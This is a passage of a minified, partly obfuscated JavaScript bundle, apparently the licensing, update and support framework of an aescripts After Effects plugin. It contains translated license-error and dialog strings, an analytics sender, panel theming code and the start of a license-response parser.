        "flyoutMessage.changePrefs": "Change the preferences",
        "dialog.btn.support": "Support",
        "dialog.btn.close": "Close",
        "dialog.btn.retry": "Retry",
        "dialog.btn.ok": "OK",
        "dialog.btn.remindMe": "Remind me",
        "dialog.btn.download": "Download",
        "dialog.btn.license.buy": "Buy License\u2026",
        "dialog.btn.license.activate": "Activate License",
        "dialog.btn.license.deactivate": "Deactivate License",
        "dialog.update.newVersion.BeforeVersionNumber": "New version",
        "dialog.update.newVersion.AfterVersionNumber": "available!",
        "dialog.update.none.BeforeVersionNumber": "Version",
        "dialog.update.none.AfterVersionNumber": "is the latest version",
        "dialog.update.currentVersion.BeforeVersionNumber": "You are on version",
        "dialog.update.currentVersion.AfterVersionNumber": "",
        "dialog.update.remind.tomorrow": "Tomorrow",
        "dialog.update.remind.nextWeek": "Next Week",
        "dialog.update.remind.nextMonth": "Next Month",
        "dialog.update.remind.skipVersion": "Skip this version",
        "dialog.support.subject.label": "Subject",
        "dialog.support.email.label": "Email",
        "dialog.support.department.label": "Department",
        "dialog.support.department.customerCare": "Customer Care",
        "dialog.support.department.inspirationSubmission": "Inspiration Submission",
        "dialog.support.department.bugReport": "Bug Report",
        "dialog.support.priority.label": "Priority",
        "dialog.support.priority.low": "Low",
        "dialog.support.priority.medium": "Medium",
        "dialog.support.priority.high": "High",
        "dialog.support.priority.emergency": "Emergency",
        "dialog.support.message.label": "Message",
        "dialog.support.message.systemDataMessage": "Anonymous system data will be sent",
        "dialog.btn.support.sendTicket": "Open in Browser",
        "dialog.gather-analytics-checkbox": "Gather anonymous analytics",
        "dialog.version-message-nyop": 'This is a "Name Your Own Price" product and does not require a license.',
        "dialog.version-message-free": "This is a free product and does not require a license.",
        "dialog.version-message-freemium": "This is the free version which does not require a license.",
        "dialog.btn.freemium-buy-pro-version": "Buy Pro Version\u2026",
        "lic.msg.temp-key.title": "Temporary license entered",
        "lic.msg.temp-key.detail": "Please exchange your temporary license at:",
        "lic.msg.beta.expired": "Beta Expired"
    }), R.addTranslations("es", {
        "lic.error.title.-1": "La licencia no es v\xe1lida ({0})",
        "lic.error.detail.-1": "",
        "lic.error.title.-2": "La licencia no es v\xe1lida ({0})",
        "lic.error.detail.-2": "",
        "lic.error.title.-3": "No se encontr\xf3 el archivo de licencia ({0})",
        "lic.error.detail.-3": "",
        "lic.error.title.-4": "El archivo de licencia esta da\xf1ado ({0})",
        "lic.error.detail.-4": "",
        "lic.error.title.-5": "Error generico ({0})",
        "lic.error.detail.-5": "",
        "lic.error.title.-6": "El nombre de el producto no v\xe1lido ({0})",
        "lic.error.detail.-6": "",
        "lic.error.title.-7": "Versi\xf3n de prueba ({0})",
        "lic.error.detail.-7": "",
        "lic.error.title.-8": "La licencia no es v\xe1lida ({0})",
        "lic.error.detail.-8": "",
        "lic.error.title.-9": "No es posible conectar con el servidor ({0})",
        "lic.error.detail.-9": "Aseg\xfarese de que el servidor de licencias est\xe1 funcionando correctamente",
        "lic.error.title.-10": "No hay espacios libres ({0})",
        "lic.error.detail.-10": "No hay m\xe1s espacios libres en el servidor de licencias",
        "lic.error.title.-11": "Licencia desconocida ({0})",
        "lic.error.detail.-11": "No se puede encontrar esta licencia en el servidor de licencias",
        "lic.error.title.-12": "Licencia desconocida ({0})",
        "lic.error.detail.-12": "La licencia que est\xe1 intentando de desactivar no se encuentra en el servidor de licencias",
        "lic.error.title.-13": "IP en la lista negra ({0})",
        "lic.error.detail.-13": "Su IP est\xe1 en la lista negra del servidor de licencias",
        "lic.error.title.-14": "No hay adaptador de red ({0})",
        "lic.error.detail.-14": "No se pudo encontrar un adaptador de red",
        "lic.error.title.-100": "Esta versi\xf3n de prueba se ha expirado",
        "lic.error.detail.-100": "Puede adquirir una licencia haciendo clic en el bot\xf3n 'Comprar Licencia ...'",
        "lic.error.detailWhenServerConfigured.-100": "Activar una licencia del servidor con <pre>@REMOTE</pre> o introduzca un c\xf3digo de licencia",
        "lic.error.title.-101": "No se pudo analizar el resultado ({0})",
        "lic.error.detail.-101": "",
        "lic.error.title.-102": "No hay c\xf3digo de resultado ({0})",
        "lic.error.detail.-102": "",
        "lic.error.title.-103": "No se encontraron d\xedas de prueba ({0})",
        "lic.error.detail.-103": "No se pudo encontrar el n\xfamero de d\xedas de prueba",
        "lic.error.title.-104": "La licencia no es la correcta ({0})",
        "lic.error.detail.-104": "La licencia no es para este producto",
        "lic.error.title.-105": "No se puede usar licencia beta ({0})",
        "lic.error.detail.-105": "No se puede utilizar una licencia 'beta' con esta versi\xf3n",
        "lic.error.title.-106": "Por favor, instale una licencia ({0})",
        "lic.error.detail.-106": "Este producto no ofrece una version de prueba y requiere una licencia",
        "lic.error.title.-107": "Por favor, instale una licencia ({0})",
        "lic.error.detail.-107": "La versi\xf3n beta no ofrece una versi\xf3n de prueba y requiere una licencia",
        "lic.error.title.unknown": "Error desconocido ({0})",
        "lic.error.detail.unknown": "",
        "lic.details.regto": "Registrado a: {0} {1}",
        "lic.details.typeAndAmount": "{0} de {1} usuario(s)",
        "lic.details.type.SUL": "Licencia",
        "lic.details.type.BTA": "Licencia Beta",
        "lic.details.type.EDU": "Licencia Educacional",
        "lic.details.type.FLT": "Licencia flotante",
        "lic.details.type.UNKNOWN": "Licencia de tipo desconocido",
        "lic.details.trial": "Versi\xf3n de prueba - faltan {0} d\xedas",
        "update.rev.plaintext": "v{0}{1} en {2}:\n{3}\n",
        "update.rev.html": '<p class="entry-version"><span class="highlighted">Versi\xf3n {0}</span> de {2}</p><div class="entry-detail">{3}</div>',
        "update.check.progress": "Buscando actualizaciones\u2026",
        "update.check.failed": "No se pudieron buscar actualizaciones",
        "update.current": "versi\xf3n mas nueva disponible",
        "update.installed-version": "versi\xf3n instalada",
        "update.history": "Registro de versiones",
        "statusbar.trial.valid": "Versi\xf3n de prueba",
        "statusbar.trial.license": "Licencia...",
        "statusbar.trial.expired": "La version de prueba se ha expirado",
        "statusbar.invalidLicense.removed": "Se elimin\xf3 la licencia ({0}). Vuelva a abrir el panel",
        "statusbar.invalidLicense.support": "Apoyo",
        "statusbar.update.available": "Nueva versi\xf3n disponible",
        "statusbar.update.details": "Detalles...",
        "statusbar.update.remind.me": "Recuerdame",
        "statusbar.update.remind.tomorrow": "Ma\xf1ana",
        "statusbar.update.remind.nextWeek": "La pr\xf3xima semana",
        "statusbar.update.remind.nextMonth": "El pr\xf3ximo mes",
        "statusbar.update.remind.skipVersion": "Salta esta versi\xf3n",
        "statusbar.analytics.notification.message": "Permitir an\xe1lisis <italic>an\xf3nimo</italic>",
        "statusbar.analytics.notification.ok": "Permitir",
        "statusbar.analytics.notification.deny": "Negar",
        "flyoutMessage.header": "Men\xfa desplegable",
        "flyoutMessage.beforeIcon": "Haga click en el",
        "flyoutMessage.afterIcon": "bot\xf3n arriba para:",
        "flyoutMessage.licenseProduct": "Licenciar este producto",
        "flyoutMessage.readHelpFiles": "Leer los archivos de ayuda",
        "flyoutMessage.checkUpdates": "Buscar actualizaciones",
        "flyoutMessage.getSupport": "Obtener apoyo",
        "flyoutMessage.changePrefs": "Cambiar las preferencias",
        "dialog.btn.support": "Apoyo",
        "dialog.btn.close": "Cerrar",
        "dialog.btn.retry": "Reintentar",
        "dialog.btn.ok": "OK",
        "dialog.btn.remindMe": "Recuerdame",
        "dialog.btn.download": "Descargar",
        "dialog.btn.license.buy": "Compra licencia\u2026",
        "dialog.btn.license.activate": "Activar Licencia",
        "dialog.btn.license.deactivate": "Desactivar Licencia",
        "dialog.update.newVersion.BeforeVersionNumber": "\xa1Nueva versi\xf3n",
        "dialog.update.newVersion.AfterVersionNumber": "disponible!",
        "dialog.update.none.BeforeVersionNumber": "Versi\xf3n",
        "dialog.update.none.AfterVersionNumber": "es la \xfaltima versi\xf3n",
        "dialog.update.currentVersion.BeforeVersionNumber": "Est\xe1 en la versi\xf3n",
        "dialog.update.currentVersion.AfterVersionNumber": "",
        "dialog.update.remind.tomorrow": "Ma\xf1ana",
        "dialog.update.remind.nextWeek": "La pr\xf3xima semana",
        "dialog.update.remind.nextMonth": "El pr\xf3ximo mes",
        "dialog.update.remind.skipVersion": "Salta esta versi\xf3n",
        "dialog.support.subject.label": "Tema",
        "dialog.support.email.label": "Email",
        "dialog.support.department.label": "Departamento",
        "dialog.support.department.customerCare": "Atenci\xf3n al cliente",
        "dialog.support.department.inspirationSubmission": "Presentaci\xf3n de inspiraci\xf3n",
        "dialog.support.department.bugReport": "Informe de error",
        "dialog.support.priority.label": "Prioridad",
        "dialog.support.priority.low": "Baja",
        "dialog.support.priority.medium": "Mediana",
        "dialog.support.priority.high": "Alta",
        "dialog.support.priority.emergency": "Emergencia",
        "dialog.support.message.label": "Mensaje",
        "dialog.support.message.systemDataMessage": "Se enviar\xe1n datos del sistema an\xf3nimamente",
        "dialog.btn.support.sendTicket": "Abrir en el navegador",
        "dialog.gather-analytics-checkbox": "Re\xfanir an\xe1lisis an\xf3nimo",
        "dialog.version-message-nyop": 'Este es un producto de "Name Your Own Price" (Nombre su propio precio) y no requiere una licencia.',
        "dialog.version-message-free": "Este es un producto gratuito y no requiere una licencia.",
        "dialog.version-message-freemium": "Esta es la versi\xf3n gratuita y no requiere una licencia.",
        "dialog.btn.freemium-buy-pro-version": "Comprar versi\xf3n Pro ...",
        "lic.msg.temp-key.title": "Licencia temporal introducida",
        "lic.msg.temp-key.detail": "Por favor, cambie su licencia temporal aqui:",
        "lic.msg.beta.expired": "Beta Expirada"
    }), R.addTranslations("fr", {
        "lic.error.title.-1": "Licence non valide ({0})",
        "lic.error.detail.-1": "",
        "lic.error.title.-2": "Licence non valide ({0})",
        "lic.error.detail.-2": "",
        "lic.error.title.-3": "Fichier de licence introuvable ({0})",
        "lic.error.detail.-3": "",
        "lic.error.title.-4": "Fichier de licence corrompu ({0})",
        "lic.error.detail.-4": "",
        "lic.error.title.-5": "Erreur g\xe9n\xe9rique ({0})",
        "lic.error.detail.-5": "",
        "lic.error.title.-6": "Nom de produit invalide ({0})",
        "lic.error.detail.-6": "",
        "lic.error.title.-7": "P\xe9riode d'\xe9valuation ({0})",
        "lic.error.detail.-7": "",
        "lic.error.title.-8": "Licence non valide ({0})",
        "lic.error.detail.-8": "",
        "lic.error.title.-9": "Impossible de se connecter au serveur ({0})",
        "lic.error.detail.-9": "Verifiez que le serveur de licence fonctionne correctement",
        "lic.error.title.-10": "Plus de place ({0})",
        "lic.error.detail.-10": "Il n'y a plus de place sur le serveur de licence",
        "lic.error.title.-11": "Licence inconnue ({0})",
        "lic.error.detail.-11": "La licence est introuvable sur le serveur",
        "lic.error.title.-12": "Licence inconnue ({0})",
        "lic.error.detail.-12": "La licence que vous essayez de d\xe9sactiver est introuvable sur le serveur",
        "lic.error.title.-13": "Client sur liste noire ({0})",
        "lic.error.detail.-13": "L'adresse ip de votre client est bannie du serveur de licence",
        "lic.error.title.-14": "Pas de carte r\xe9seau ({0})",
        "lic.error.detail.-14": "Impossible de trouver une carte r\xe9seau",
        "lic.error.title.-100": "P\xe9riode d'\xe9valuation expir\xe9e",
        "lic.error.detail.-100": "Vous pouvez acqu\xe9rir une licence en cliquant sur le bouton 'Acheter une Licence\u2026' ci-dessous",
        "lic.error.detailWhenServerConfigured.-100": "Activer une licence du serveur avec <pre>@REMOTE</pre> ou entrez un code de licence",
        "lic.error.title.-101": "Impossible de parcourir le r\xe9sultat ({0})",
        "lic.error.detail.-101": "",
        "lic.error.title.-102": "Pas de code de r\xe9sultat ({0})",
        "lic.error.detail.-102": "",
        "lic.error.title.-103": "Impossible de trouver des jours d'essai ({0})",
        "lic.error.detail.-103": "Echec d'identification du nombre de jour de p\xe9riode d'essai disponible",
        "lic.error.title.-104": "Mauvaise licence ({0})",
        "lic.error.detail.-104": "Cette licence n'est pas valable pour ce produit",
        "lic.error.title.-105": "Licence Beta invalide ({0})",
        "lic.error.detail.-105": "Une licence de version Beta ne peut \xeatre utilis\xe9e pour le produit final",
        "lic.error.title.-106": "Licence n\xe9cessaire ({0})",
        "lic.error.detail.-106": "Ce produit ne propose pas de p\xe9riode d'essai et n\xe9cessite une licence",
        "lic.error.title.-107": "Licence n\xe9cessaire ({0})",
        "lic.error.detail.-107": "La version Beta de ce produit ne propose pas de p\xe9riode d'essai et n\xe9cessite une licence",
        "lic.error.title.unknown": "Erreur inconnue ({0})",
        "lic.error.detail.unknown": "",
        "lic.details.regto": "Enregistr\xe9 pour: {0} {1}",
        "lic.details.typeAndAmount": "{0} pour {1} utilisateur(s)",
        "lic.details.type.SUL": "Licence",
        "lic.details.type.BTA": "Licence Beta",
        "lic.details.type.EDU": "Licence pour l'\xe9ducation",
        "lic.details.type.FLT": "Licence flottante",
        "lic.details.type.UNKNOWN": "Licence inconnue",
        "lic.details.trial": "Version d'\xe9valuation - {0} jour(s) restant",
        "update.rev.plaintext": "v{0}{1} sur {2}:\n{3}\n",
        "update.rev.html": '<p class="entry-version"><span class="highlighted">Version {0}</span> de {2}</p><div class="entry-detail">{3}</div>',
        "update.check.progress": "Recheche de mise \xe0 jour...",
        "update.check.failed": "Impossible de rechercher les mises \xe0 jour",
        "update.current": "Nouvelle version disponible",
        "update.installed-version": "Version install\xe9e",
        "update.history": "Historique des versions",
        "statusbar.trial.valid": "Version d'\xe9valuation",
        "statusbar.trial.license": "Licence...",
        "statusbar.trial.expired": "\xc9valuation termin\xe9e",
        "statusbar.invalidLicense.removed": "Licence supprim\xe9e ({0}). R\xe9-ouvvrez le panneau s'il vous pla\xeet",
        "statusbar.invalidLicense.support": "Support",
        "statusbar.update.available": "Mise \xe0 jour disponible",
        "statusbar.update.details": "D\xe9tails\u2026",
        "statusbar.update.remind.me": "Rappelez-moi",
        "statusbar.update.remind.tomorrow": "Demain",
        "statusbar.update.remind.nextWeek": "Semaine Prochaine",
        "statusbar.update.remind.nextMonth": "Mois Prochain",
        "statusbar.update.remind.skipVersion": "Ignorer cette version",
        "statusbar.analytics.notification.message": "Permettre l'envoi d'informations d'utilisation <italic>anonymis\xe9es</italic>",
        "statusbar.analytics.notification.ok": "Oui",
        "statusbar.analytics.notification.deny": "Non",
        "flyoutMessage.header": "Fly-out Menu",
        "flyoutMessage.beforeIcon": "Cliquez sur le",
        "flyoutMessage.afterIcon": "bouton ci-dessus pour:",
        "flyoutMessage.licenseProduct": "Enregistrer ce produit",
        "flyoutMessage.readHelpFiles": "Lire le fichier d'aide",
        "flyoutMessage.checkUpdates": "V\xe9rifier la disponibilit\xe9 de mises \xe0 jour",
        "flyoutMessage.getSupport": "Contacter le support client",
        "flyoutMessage.changePrefs": "Modifier les pr\xe9f\xe9rences",
        "dialog.btn.support": "Support",
        "dialog.btn.close": "Fermer",
        "dialog.btn.retry": "R\xe9essayer",
        "dialog.btn.ok": "OK",
        "dialog.btn.remindMe": "Rappelez-moi",
        "dialog.btn.download": "T\xe9l\xe9charger",
        "dialog.btn.license.buy": "Acheter une licence...",
        "dialog.btn.license.activate": "Activer la licence",
        "dialog.btn.license.deactivate": "D\xe9sactiver la licence",
        "dialog.update.newVersion.BeforeVersionNumber": "Nouvelle version",
        "dialog.update.newVersion.AfterVersionNumber": "disponible !",
        "dialog.update.none.BeforeVersionNumber": "Version",
        "dialog.update.none.AfterVersionNumber": "est la derni\xe8re version disponible",
        "dialog.update.currentVersion.BeforeVersionNumber": "Vous utilisez la version",
        "dialog.update.currentVersion.AfterVersionNumber": "",
        "dialog.update.remind.tomorrow": "Demain",
        "dialog.update.remind.nextWeek": "Semaine Prochaine",
        "dialog.update.remind.nextMonth": "Mois Prochain",
        "dialog.update.remind.skipVersion": "Ignorer cette version",
        "dialog.support.subject.label": "Objet",
        "dialog.support.email.label": "Email",
        "dialog.support.department.label": "D\xe9partment",
        "dialog.support.department.customerCare": "Service client",
        "dialog.support.department.inspirationSubmission": "Inspiration",
        "dialog.support.department.bugReport": "Rapport de bug",
        "dialog.support.priority.label": "Priorit\xe9",
        "dialog.support.priority.low": "Basse",
        "dialog.support.priority.medium": "Normale",
        "dialog.support.priority.high": "Importante",
        "dialog.support.priority.emergency": "Urgente",
        "dialog.support.message.label": "Message",
        "dialog.support.message.systemDataMessage": "Des donn\xe9es syst\xe8me anonymis\xe9es seront envoy\xe9es",
        "dialog.btn.support.sendTicket": "Ouvrir dans le navigateur",
        "dialog.gather-analytics-checkbox": "Colecter des informations d'utilisation anonymes",
        "dialog.version-message-nyop": "Il s'agit d'un produit \"Name Your Own Price\" (Nommez votre prix) qui ne n\xe9cessite pas de licence.",
        "dialog.version-message-free": "Ceci est un produit gratuit qui ne n\xe9cessite pas de licence.",
        "dialog.version-message-freemium": "Il s'agit de la version gratuite qui ne n\xe9cessite pas de licence.",
        "dialog.btn.freemium-buy-pro-version": "Acheter la version Pro ...",
        "lic.msg.temp-key.title": "Licence temporaire activ\xe9e",
        "lic.msg.temp-key.detail": "\xc9changez votre licence temporaire:",
        "lic.msg.beta.expired": "Version Beta expir\xe9e"
    });
    var Y = function() {
            function A(A) {
                function t() {
                    return e.slice(0)
                }

                function i(A, t) {
                    var i = A instanceof Error ? A.message : A,
                        r = A instanceof Error ? A : new Error(A);
                    t = t || {
                        console: !0,
                        support: !1,
                        analyticsException: A instanceof Error
                    }, t.console && !l && console.log(i), t.support && !c && e.push(i), t.analyticsException && !B && null != I && I.exception(r)
                }

                function r() {
                    e = []
                }

                function o(A) {
                    s(!1, A)
                }

                function n(A) {
                    s(!0, A)
                }

                function s(A, e) {
                    e = e || {
                        console: !0,
                        support: !0,
                        analyticsException: !0
                    }, e.console && (l = A), e.support && (c = A), e.analyticsException && (B = A)
                }

                function a(A) {
                    I = A
                }
                A = A || {};
                var I = A.analytics || null,
                    l = !1,
                    c = !1,
                    B = !1;
                this[21..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 52 - t)
                    }).join("")
                }(63, 226) + 16..toString(36).toLowerCase()] = i, this[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 33 - t)
                    }).join("")
                }(8, 143, 144) + 29..toString(36).toLowerCase() + 35..toString(36).toLowerCase().split("").map(function(A) {
                    return String.fromCharCode(A.charCodeAt() + -39)
                }).join("") + 1105..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 34 - t)
                    }).join("")
                }(27, 177, 141, 180, 177, 173, 173) + 604..toString(36).toLowerCase()] = t, this[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 48 - t)
                    }).join("")
                }(22, 169) + 770..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 44 - t)
                    }).join("")
                }(32, 191, 173)] = r, this[17524..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 8 - t)
                    }).join("")
                }(35, 140) + 15026..toString(36).toLowerCase()] = n, this[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 20 - t)
                    }).join("")
                }(30, 149, 161, 151) + 11..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 13 - t)
                    }).join("")
                }(42, 157, 163)] = o, this[36821..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 10 - t)
                    }).join("")
                }(14, 123, 135, 89) + 790..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 25 - t)
                    }).join("")
                }(47, 188) + 18..toString(36).toLowerCase() + function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 24 - t)
                    }).join("")
                }(62, 185) + 28..toString(36).toLowerCase()] = a
            }
            var e = [];
            return A
        }(),
        x = (function() {
            function A(A) {
                o.openURLInDefaultBrowser(A)
            }

            function e(A) {
                var e = [];
                for (var t in A)
                    if (A.hasOwnProperty(t) && void 0 !== r[t]) {
                        var i = r[t] + "=" + encodeURIComponent(A[t]);
                        e.push(i)
                    }
                return e
            }

            function t(t) {
                t = t || {};
                var r = e(t);
                A(0 == r.length ? i : i + "&" + r.join("&"))
            }
            var i = "https://aescripts.com/contact/?direct=1",
                r = {
                    sku: "sku",
                    productId: "product_id",
                    subject: "subject",
                    message: "message",
                    priority: "priority",
                    dept: "dept",
                    email: "email"
                },
                o = new I,
                n = {};
            n[function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 13 - t)
                }).join("")
            }(16, 131, 144) + 23..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 47 - t)
                }).join("")
            }(62, 209)] = t
        }(), function() {
            "use strict";

            function A(A, e) {
                return e ? "rgba(" + A + "," + A + "," + A + "," + e + ");" : "rgb(" + A + "," + A + "," + A + ");"
            }

            function e(A, e, t) {
                A = A.red;
                var i = t - e,
                    r = (A - 38) * i / 51 + e;
                return Math.round(r)
            }

            function t(A, e) {
                function t(A, e) {
                    var t = isNaN(e) ? A : A + e;
                    return t < 0 ? t = 0 : t > 255 && (t = 255), t = Math.floor(t), t = t.toString(16), 1 === t.length ? "0" + t : t
                }
                var i = "";
                return A && (i = t(A.red, e) + t(A.green, e) + t(A.blue, e)), i
            }

            function i(A, e, t) {
                var i = document.getElementById(A);
                i && (i = i.sheet, i.addRule ? i.addRule(e, t) : i.insertRule && i.insertRule(e + " { " + t + " }", i.cssRules.length))
            }

            function r(r) {
                var n = r.panelBackgroundColor.color,
                    s = t(n),
                    a = e(n, 31, 59),
                    I = A(a),
                    l = e(n, 0, 38),
                    c = A(l),
                    B = e(n, 220, 255),
                    g = A(B),
                    h = "AESPThemeStyle";
                o(h), i(h, ".hostFontSize", "font-size:" + r.baseFontSize + "px;"), i(h, ".hostFontFamily", "font-family:" + r.baseFontFamily + "!important;"), i(h, "body", "background-color:#" + s), i(h, ".show-scrollbar::-webkit-scrollbar-thumb", "background-color:#" + s), i(h, ".rounded-button:hover", "color:#" + s), i(h, ".aesp-appBackgroundColor", "background-color:#" + s), i(h, ".aesp-appColor", "color:#" + s), i(h, ".hostButton", "background-color:" + I), i(h, ".hostButton", "color:" + g), i(h, ".hostButton:hover", "background-color:" + c)
            }

            function o(A) {
                document.getElementById(A) || (document.querySelector("head").innerHTML += '<style id="' + A + '"></style>')
            }

            function n() {
                r(JSON.parse(window.__adobe_cep__.getHostEnvironment()).appSkinInfo)
            }

            function s() {
                var A = new I;
                r(A.hostEnvironment.appSkinInfo), A.addEventListener(I.THEME_COLOR_CHANGED_EVENT, n)
            }
            var a = {};
            return a[671..toString(36).toLowerCase() + function() {
                var A = Array.prototype.slice.call(arguments),
                    e = A.shift();
                return A.reverse().map(function(A, t) {
                    return String.fromCharCode(A - e - 52 - t)
                }).join("")
            }(8, 177, 165)] = s, a
        }());
    u.prototype = {
        send: function(A, e) {
            var t = ["v=" + this.v, "tid=" + this.tid, "cid=" + this.cid, "t=" + A];
            for (var i in e) e.hasOwnProperty(i) && null !== e[i] && void 0 !== e[i] && t.push(i + "=" + encodeURIComponent(e[i]));
            t.push("z=" + 1 * new Date);
            var r = new XMLHttpRequest;
            r.onreadystatechange = function() {}, r.onerror = function() {}, r.open("POST", "http://www.google-analytics.com/collect", !0), r.send(t.join("&"))
        },
        exception: function(A, e) {
            this.send("exception", {
                exd: A,
                exf: e ? "1" : "0"
            })
        },
        pageview: function(A, e) {
            this.send("pageview", {
                dp: A,
                dt: e
            })
        },
        event: function(A, e, t, i) {
            this.send("event", {
                ec: A,
                ea: e,
                el: t,
                ev: i
            })
        }
    };
    var z = function() {
            function A(A) {
                return e.reduce(function(A, e) {
                    return A.replace(e.regexp, e.value)
                }, A)
            }
            var e = [{
                regexp: /&/g,
                value: "&amp;"
            }, {
                regexp: /"/g,
                value: "&quot;"
            }, {
                regexp: /'/g,
                value: "&apos;"
            }, {
                regexp: /</g,
                value: "&lt;"
            }, {
                regexp: />/g,
                value: "&gt;"
            }, {
                regexp: /\t/g,
                value: "&#x9;"
            }, {
                regexp: /\n/g,
                value: "&#xA;"
            }, {
                regexp: /\r/g,
                value: "&#xD;"
            }];
            return A
        }(),
        G = 100,
        T = -7,
        X = -100,
        H = -101,
        V = -102,
        O = -103,
        Z = -104,
        W = -105,
        K = -106,
        _ = -107,
        q = function() {
            function A(A, t, i, r, o, n) {
                r = parseInt(r), isNaN(r) && (r = 0), A = Q(A);
                var s = "darwin" == require("os").platform(),
                    a = s ? " " : " ",
                    I = [A, t];
                return void 0 !== i && I.push(i), S(a, I, function(A, t, i, s) {
                    var a = e(A, t, i, s, r, o);
                    n(a)
                })
            }

            function e(A, e, i, r, o, s) {
                var a;
                try {
                    a = t(i, o, s)
                } catch (t) {
                    var I = {};
                    I[function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 11 - t)
                        }).join("")
                    }(32, 142) + 31960..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 24 - t)
                        }).join("")
                    }(32, 159, 165, 167)] = !0, I[37393..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 63 - t)
                        }).join("")
                    }(20, 195, 195) + 27..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 58 - t)
                        }).join("")
                    }(49, 223)] = !0, n(29..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -71)
                    }).join("") + 36..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 3 - t)
                        }).join("")
                    }(28, 64, 80) + 531..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 7 - t)
                        }).join("")
                    }(26, 145, 147) + 27..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 59 - t)
                        }).join("")
                    }(27, 144) + i, I), n(28..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 53 - t)
                        }).join("")
                    }(61, 217, 215, 230) + 999..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 31 - t)
                        }).join("")
                    }(25, 114) + r, I), n(696629..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 35 - t)
                        }).join("")
                    }(31, 178, 133) + 482..toString(36).toLowerCase() + 10..toString(36).toLowerCase().split("").map(function(A) {
                        return String.fromCharCode(A.charCodeAt() + -39)
                    }).join("") + e, I), n(function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 23 - t)
                        }).join("")
                    }(46, 170) + 999..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 11 - t)
                        }).join("")
                    }(41, 110) + A, I), n(14..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 53 - t)
                        }).join("")
                    }(35, 146) + t, I), a = {}, a[27..toString(36).toLowerCase() + function() {
                        var A = Array.prototype.slice.call(arguments),
                            e = A.shift();
                        return A.reverse().map(function(A, t) {
                            return String.fromCharCode(A - e - 12 - t)
                        }).join("")
                    }(62, 193, 190, 175) + 785..toString(36).toLowerCase()] = H
                }
                return a
            }

            function t(A, e, t) {
                for (var n = A.match(/[^\r\n]+/g), s = {}, a = 0; a < n.length; a++) {
                    var I = n[a].split(":");
                    if (I.length >= 2) {
                        var l = I[0].trim(),
                            c = o(I[1]);
                        isNaN(c) || (c = parseFloat(c)), s[l] = c
                    }
                }
                return void 0 === s[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
                    return A.reverse().map(function(A, t) {
                        return String.fromCharCode(A - e - 25 - t)
                    }).join("")
                }(3, 145, 130, 142) + 39665..toString(36).toLowerCase()] && (s[function() {
                    var A = Array.prototype.slice.call(arguments),
                        e = A.shift();
